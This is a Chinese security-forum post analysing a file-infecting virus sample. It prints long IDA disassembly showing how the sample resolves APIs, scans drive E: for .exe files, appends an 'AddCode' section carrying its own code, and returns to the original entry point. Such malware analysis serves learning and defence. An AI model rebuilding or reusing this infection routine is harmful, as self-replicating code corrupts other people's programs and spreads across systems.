功能：全盘感染可执行文件，加节，此样本为一个已经感染过的，原本是一个正常的文件。这个样本很简单，似乎就是感染，没做什么坏事，适合练手用。如果可能的话，希望能加精下，第一次发贴，不容易呀，如果有分析不对的地方，忘谅解…下面是分析过程.
入口
获取获取Kernel32的基址，并从从地址表得到导出函数地址，这个很精典了，一些shellcode常用的手法，动态获取函数.这期间如果有任何地方出错则跳到原入口点，即执行原来的程序。
:0040447E call $+5
Addcode:00404483 pop ebx
Addcode:00404484 sub ebx, 40197Ah
Addcode:0040448A mov eax, [esp+0]
Addcode:0040448D push eax
Addcode:0040448E call GetKernel32Base
Addcode:00404493 or eax, eax
Addcode:00404495 jz short loc_40449F
Addcode:00404497 mov ds:(hDllKernel32 - 2B09h)[ebx], eax
Addcode:0040449D jmp short loc_4044A4
Addcode:0040449F ; ---------------------------------------------------------------------------
Addcode:0040449F
Addcode:0040449F loc_40449F: ; CODE XREF: start+17 j
Addcode:0040449F jmp ___ToOldEntry
Addcode:004044A4 ; ---------------------------------------------------------------------------
Addcode:004044A4
Addcode:004044A4 loc_4044A4: ; CODE XREF: start+1F j
Addcode:004044A4 mov eax, offset dword_4015EC
Addcode:004044A9 add eax, ebx
Addcode:004044AB push eax
Addcode:004044AC push ds:(hDllKernel32 - 2B09h)[ebx]
Addcode:004044B2 call __GetApiAddress
Addcode:004044B7 or eax, eax
Addcode:004044B9 jnz short loc_4044C0
Addcode:004044BB jmp ___ToOldEntry
Addcode:004044C0 ; ---------------------------------------------------------------------------
Addcode:004044C0
Addcode:004044C0 loc_4044C0: ; CODE XREF: start+3B j
Addcode:004044C0 mov ds:(lpGetProcAddress - 2B09h)[ebx], eax
Addcode:004044C6 lea eax, (szLoadLibrary - 2B09h)[ebx] ; "LoadLibraryA"
Addcode:004044CC push eax
Addcode:004044CD push ds:(hDllKernel32 - 2B09h)[ebx]
Addcode:004044D3 call ds:(lpGetProcAddress - 2B09h)[ebx]
Addcode:004044D9 or eax, eax
Addcode:004044DB jnz short loc_4044E2
Addcode:004044DD jmp ___ToOldEntry
Addcode:004044E2 ; ---------------------------------------------------------------------------
Addcode:004044E2
Addcode:004044E2 loc_4044E2: ; CODE XREF: start+5D j
Addcode:004044E2 mov ds:(lpLoadLibrary - 2B09h)[ebx], eax
Addcode:004044E8 lea eax, (szUser32 - 2B09h)[ebx] ; "user32"
Addcode:004044EE push eax
Addcode:004044EF call ds:(lpLoadLibrary - 2B09h)[ebx]
Addcode:004044F5 or eax, eax
Addcode:004044F7 jnz short loc_4044FE
Addcode:004044F9 jmp ___ToOldEntry
Addcode:004044FE ; ---------------------------------------------------------------------------
Addcode:004044FE
Addcode:004044FE loc_4044FE: ; CODE XREF: start+79 j
Addcode:004044FE mov ds:(hDllUser32 - 2B09h)[ebx], eax
Addcode:00404504 lea eax, (szMessageBox - 2B09h)[ebx] ; "MessageBoxA"
Addcode:0040450A push eax
Addcode:0040450B push ds:(hDllUser32 - 2B09h)[ebx]
Addcode:00404511 call ds:(lpGetProcAddress - 2B09h)[ebx] ; lpMessageBox
Addcode:00404517 or eax, eax
Addcode:00404519 jnz short loc_404520
Addcode:0040451B jmp ___ToOldEntry
Addcode:00404520 ; ---------------------------------------------------------------------------
Addcode:00404520
Addcode:00404520 loc_404520: ; CODE XREF: start+9B j
Addcode:00404520 mov ds:(lpMessageBox - 2B09h)[ebx], eax
Addcode:00404526 push 0
Addcode:00404528 push 0
Addcode:0040452A lea eax, (szInjectCode - 2B09h)[ebx]
Addcode:00404530 push eax
Addcode:00404531 push 0
Addcode:00404533 call ds:(lpMessageBox - 2B09h)[ebx]
Addcode:00404539 lea eax, (szCreateThread - 2B09h)[ebx] ; "CreateThread"
Addcode:0040453F push eax
Addcode:00404540 push ds:(hDllKernel32 - 2B09h)[ebx]
Addcode:00404546 call ds:(lpGetProcAddress - 2B09h)[ebx] ; lpGetProcAddress
Addcode:0040454C or eax, eax
Addcode:0040454E jnz short loc_404555
Addcode:00404550 jmp ___ToOldEntry
Addcode:00404555 ; ----------------------------------------------
代码还是很多，就不全贴了，以上主要是得到一些函数的地址，下面会有用..
最后有这样一个，很重要，我们进去看看
Addcode:00404775
Addcode:00404775 loc_404775: ; CODE XREF: start+2F0 j
Addcode:00404775 mov ds:(lpRtlMoveMemory - 2B09h)[ebx], eax
Addcode:0040477B push 0
Addcode:0040477D push 0
Addcode:0040477F push 0
Addcode:00404781 lea eax, (__InjectCodeThread - 2B09h)[ebx]
Addcode:00404787 push eax
Addcode:00404788 push 0
Addcode:0040478A push 0
Addcode:0040478C call ds:(lpCreateThread - 2B09h)[ebx]
Addcode:00404792 jmp ___ToOldEntry
Addcode:00404792 start endp
Addcode:00404792
来到这
Addcode:00404797
Addcode:00404797 __InjectCodeThread proc near ; DATA XREF: start+303 o
Addcode:00404797 pusha
Addcode:00404798 call $+5
Addcode:0040479D pop ebx
Addcode:0040479E sub ebx, 401C94h
Addcode:004047A4 lea eax, (szBootPath - 2B09h)[ebx]
Addcode:004047AA push eax
Addcode:004047AB call ___FindFile
Addcode:004047B0 popa
Addcode:004047B1 retn
Addcode:004047B1 __InjectCodeThread endp
Addcode:004047B1
这个主要是全盘感染，FindFile就是感染exe文件，它感染的是哪个盘了，我们看看。szBootPath
Addcode:00404354 szBootPath dd 5C3A45h, 41h dup(0) 45 3a 5c
16进制，还原看看，是e:\ 看图
FindFile为查找并感染，我们进去看下..
Addcode:0040482E push eax
Addcode:0040482F call ds:(lpFindFirstFile - 2B09h)[ebx]
Addcode:00404835 cmp eax, 0FFFFFFFFh
Addcode:00404838 jz loc_4048FF
Addcode:0040483E mov [ebp+var_144], eax
Addcode:00404844
遍历，那么它是如何判断是可执行文件的？在这
Addcode:00404895 push eax
Addcode:00404896 call ds:(lplstrlen - 2B09h)[ebx]
Addcode:0040489C sub eax, 4
Addcode:0040489F lea esi, [ebp+var_450]
Addcode:004048A5 add esi, eax
Addcode:004048A7 push esi
Addcode:004048A8 lea eax, (lpszFilter - 2B09h)[ebx]
Addcode:004048AE push eax
Addcode:004048AF call ds:(lplstrcmp - 2B09h)[ebx]
Addcode:004048B5 or eax, eax
Addcode:004048B7 jnz short loc_4048D8
Addcode:004048B9 push 0
Addcode:004048BB push 0
Addcode:004048BD lea eax, [ebp+var_450]
比较, lpszFilter是什么，去看看
Addcode:0040434F lpszFilter db 2Eh ; DATA XREF: ___FindFile+F6 o
Addcode:00404350 dd 657865h
2E 65 78 65 .exe
好了，小结一下，以上为遍历和查找部分，那感染了, ProcessFile，就是它了..进去看看..
Addcode:004048BB push 0
Addcode:004048BD lea eax, [ebp+var_450]
Addcode:004048C3 push eax
Addcode:004048C4 push 0
Addcode:004048C6 call ds:(lpMessageBox - 2B09h)[ebx]
Addcode:004048CC lea eax, [ebp+var_450]
Addcode:004048D2 push eax
Addcode:004048D3 call __ProcessFile
Addcode:004048D8
Addcode:004048D8 loc_4048D8: ; CODE XREF: ___FindFile+CD j
Addcode:004048D8 ; ___FindFile+DB j ...
Addcode:004048D8 lea eax, [ebp+var_13E]
Addcode:004048DE push eax
Addcode:004048DF push [ebp+var_144]
Addcode:004048E5 call ds:(lpFindNextFile - 2B09h)[ebx]
Addcode:004048EB or eax, eax
Addcode:004048ED jnz loc_404844
Addcode:004048F3 push [ebp+var_144]
Addcode:004048F9 call ds:(lpFindClose - 2B09h)[ebx]
它首先判断是否可以加节，可以的话就加节，节名为addcode,然后写入文件..ida注释的很清楚了
Addcode:00404A51
Addcode:00404A51 loc_404A51: ; CODE XREF: __ProcessFile+146 j
Addcode:00404A51 push [ebp+var_10]
Addcode:00404A54 call SubIfAddSection
Addcode:00404A59 or eax, eax
Addcode:00404A5B jnz short loc_404A86
Addcode:00404A5D push 1000h
Addcode:00404A62 push [ebp+var_4]
Addcode:00404A65 lea eax, [ebp+var_10]
Addcode:00404A68 push eax
Addcode:00404A69 call ds:(lpVirtualFree - 2B09h)[ebx]
Addcode:00404A6F push 1000h
Addcode:00404A74 push [ebp+var_8]
Addcode:00404A77 lea eax, [ebp+var_C]
Addcode:00404A7A push eax
Addcode:00404A7B call ds:(lpVirtualFree - 2B09h)[ebx]
Addcode:00404A81 jmp ProcessFileEnd
Addcode:00404A86 ; ---------------------------------------------------------------------------
Addcode:00404A86
Addcode:00404A86 loc_404A86: ; CODE XREF: __ProcessFile+157 j
Addcode:00404A86 push [ebp+var_4]
Addcode:00404A89 push [ebp+var_10]
Addcode:00404A8C push [ebp+var_C]
Addcode:00404A8F call ds:(lpRtlMoveMemory - 2B09h)[ebx]
Addcode:00404A95 push [ebp+var_4]
Addcode:00404A98 push [ebp+var_C]
Addcode:00404A9B call subAddSection
Addcode:00404AA0 push [ebp+var_14]
Addcode:00404AA3 call ds:(lpCloseHandle - 2B09h)[ebx]
Addcode:00404AA9 push [ebp+arg_0]
Addcode:00404AAC lea eax, (byte_4041DB - 2B09h)[ebx]
Addcode:00404AB2 push eax
Addcode:00404AB3 call ds:(lplstrcpy - 2B09h)[ebx]
Addcode:00404AB9 lea eax, (byte_4041DB - 2B09h)[ebx]
Addcode:00404ABF push eax
Addcode:00404AC0 call ds:(lplstrlen - 2B09h)[ebx]
Addcode:00404AC6 lea esi, (byte_4041DB - 2B09h)[ebx]
Addcode:00404ACC sub eax, 4
Addcode:00404ACF add eax, esi
Addcode:00404AD1 mov dword ptr [ebp+var_24], eax
Addcode:00404AD4 lea eax, (byte_4042DB - 2B09h)[ebx]
Addcode:00404ADA push eax
Addcode:00404ADB push dword ptr [ebp+var_24]
Addcode:00404ADE call ds:(lplstrcpy - 2B09h)[ebx]
Addcode:00404AE4 push 0
Addcode:00404AE6 push 80h
Addcode:00404AEB push 2
Addcode:00404AED push 0
Addcode:00404AEF push 3
Addcode:00404AF1 push 0C0000000h
Addcode:00404AF6 lea eax, (byte_4041DB - 2B09h)[ebx]
Addcode:00404AFC push eax
Addcode:00404AFD call ds:(lpCreateFile - 2B09h)[ebx]
Addcode:00404B03 cmp eax, 0FFFFFFFFh
Addcode:00404B06 jnz short loc_404B2E
Addcode:00404B08 push 1000h
Addcode:00404B0D push [ebp+var_4]
Addcode:00404B10 lea eax, [ebp+var_10]
Addcode:00404B13 push eax
Addcode:00404B14 call ds:(lpVirtualFree - 2B09h)[ebx]
Addcode:00404B1A push 1000h
Addcode:00404B1F push [ebp+var_8]
Addcode:00404B22 lea eax, [ebp+var_C]
Addcode:00404B25 push eax
Addcode:00404B26 call ds:(lpVirtualFree - 2B09h)[ebx]
Addcode:00404B2C jmp short ProcessFileEnd
Addcode:00404B2E ; ---------------------------------------------------------------------------
Addcode:00404B2E
Addcode:00404B2E loc_404B2E: ; CODE XREF: __ProcessFile+202 j
Addcode:00404B2E mov [ebp+var_18], eax
Addcode:00404B31 push 0
Addcode:00404B33 lea eax, [ebp+var_24+4]
Addcode:00404B36 push eax
Addcode:00404B37 push [ebp+var_8]
Addcode:00404B3A push [ebp+var_C]
Addcode:00404B3D push [ebp+var_18]
Addcode:00404B40 call ds:(lpWriteFile - 2B09h)[ebx]
Addcode:00404B46 push [ebp+var_18]
Addcode:00404B49 call ds:(lpCloseHandle - 2B09h)[ebx]
Addcode:00404B4F push 0
Addcode:00404B51 push 0
Addcode:00404B53 lea eax, (byte_404469 - 2B09h)[ebx]
Addcode:00404B59 push eax
Addcode:00404B5A push 0
Addcode:00404B5C call ds:(lpMessageBox - 2B09h)[ebx]
Addcode:00404B62
这里我们去加节的部分看下.. subAddSection
Addcode:00404BDC mov [edi+14h], eax
Addcode:00404BDF mov dword ptr [edi+24h], 0E0000000h
Addcode:00404BE6 lea eax, (aAddcode - 2B09h)[ebx] ; "AddCode"
Addcode:00404BEC push eax
Addcode:00404BED lea eax, [edi]
Addcode:00404BEF push eax
Addcode:00404BF0 call ds:(lplstrcpy - 2B09h)[ebx]
Addcode:00404BF6 mov eax, [edi+0Ch]
Addcode:00404BF9 add eax, [edi+8]
Addcode:00404BFC mov [esi+50h], eax
Addcode:00404BFF push dword ptr [esi+28h]
Addcode:00404C02 pop [ebp+var_C]
新增加的节名
既然是加节感染，那感染部分的代码了？从哪来？从xfish那启发..
Addcode:00404C58 rep movsb
Addcode:00404C5A popa
Addcode:00404C5B pusha
Addcode:00404C5C mov ecx, [edi+8]
Addcode:00404C5F sub ecx, 4
Addcode:00404C62 lea esi, (GetKernel32Base - 2B09h)[ebx] ; why this?? here: include GetKernel32Base.asm
Addcode:00404C68 mov edi, [edi+14h]
Addcode:00404C6B add edi, [ebp+arg_0]
Addcode:00404C6E cld
Addcode:00404C6F rep movsb
Addcode:00404C71 popa
Addcode:00404C72 leave
Addcode:00404C73 retn 8
走，去GetKernel32Base看看
Addcode:00404000
Addcode:00404000 GetKernel32Base proc near ; CODE XREF: start+10 p
Addcode:00404000 ; DATA XREF: subAddSection+53 o ...
Addcode:00404000
Addcode:00404000 var_4 = dword ptr -4
Addcode:00404000 arg_0 = dword ptr 8
Addcode:00404000
Addcode:00404000 push ebp
Addcode:00404001 mov ebp, esp
Addcode:00404003 add esp, 0FFFFFFFCh
Addcode:00404006 pusha
Addcode:00404007 mov [ebp+var_4], 0
Addcode:0040400E call $+5
Addcode:00404013 pop ebx
Addcode:00404014 sub ebx, 40150Ah
Addcode:0040401A mov edi, [ebp+arg_0]
Addcode:0040401D and edi, 0FFFF0000h
来到加节的起始处，感染的代码来源即是整个Addcode节里面的代码..
那我们翻到节尾看下
Addcode:00404CF8 ; ---------------------------------------------------------------------------
Addcode:00404CF8 ; START OF FUNCTION CHUNK FOR SubIfAddSection
Addcode:00404CF8
Addcode:00404CF8 loc_404CF8: ; CODE XREF: SubIfAddSection+5E j
Addcode:00404CF8 xor eax, eax
Addcode:00404CFA leave
Addcode:00404CFB retn 4
Addcode:00404CFB ; END OF FUNCTION CHUNK FOR SubIfAddSection
Addcode:00404CFE ; ---------------------------------------------------------------------------
Addcode:00404CFE ; START OF FUNCTION CHUNK FOR start
Addcode:00404CFE
Addcode:00404CFE ___ToOldEntry: ; CODE XREF: start:loc_40449F j
Addcode:00404CFE ; start+3D j ...
Addcode:00404CFE jmp loc_401000
Addcode:00404CFE ; END OF FUNCTION CHUNK FOR start
Addcode:00404CFE ; ---------------------------------------------------------------------------
Addcode:00404D03 byte_404D03 db 0 ; DATA XREF: subAddSection+4D o
Addcode:00404D04 dd 3Fh dup(0)
Addcode:00404E00 dd 80h dup(?)
jmp loc_401000 即是跳到原入口点，执行原程序的功能..
好了，分析就到这，我们来总结一下.
1. 感染后的新入口: Addcode:0040447E ,首先获得我们所有需要的函数,最后创建线程
2. lpCreateThread 参数 ..InjectCodeThread 感染对象为E盘
3. .._FindFile 查找，遍历
4. ..ProcessFile 加节，感染了..
5. subAddSection 加节，注意下节的内容..
6. 节的内容：Addcode:00404000-- Addcode:00404CFE 即Addcode整个节..
第一次发贴，如有写的不对的地方，高手莫笑，希望能鼓励下，能加个精华就好了..
最后附上样本和idb文件，里面分析的很详细，基本把所有的函数都逆了.样本把扩展名改为.exe即可..
- 标 题：对一加节感染样本分析
- 作 者：zhaokang
- 时 间：2011-09-17 14:52:53
- 链 接：http://bbs.pediy.com/showthread.php?t=140233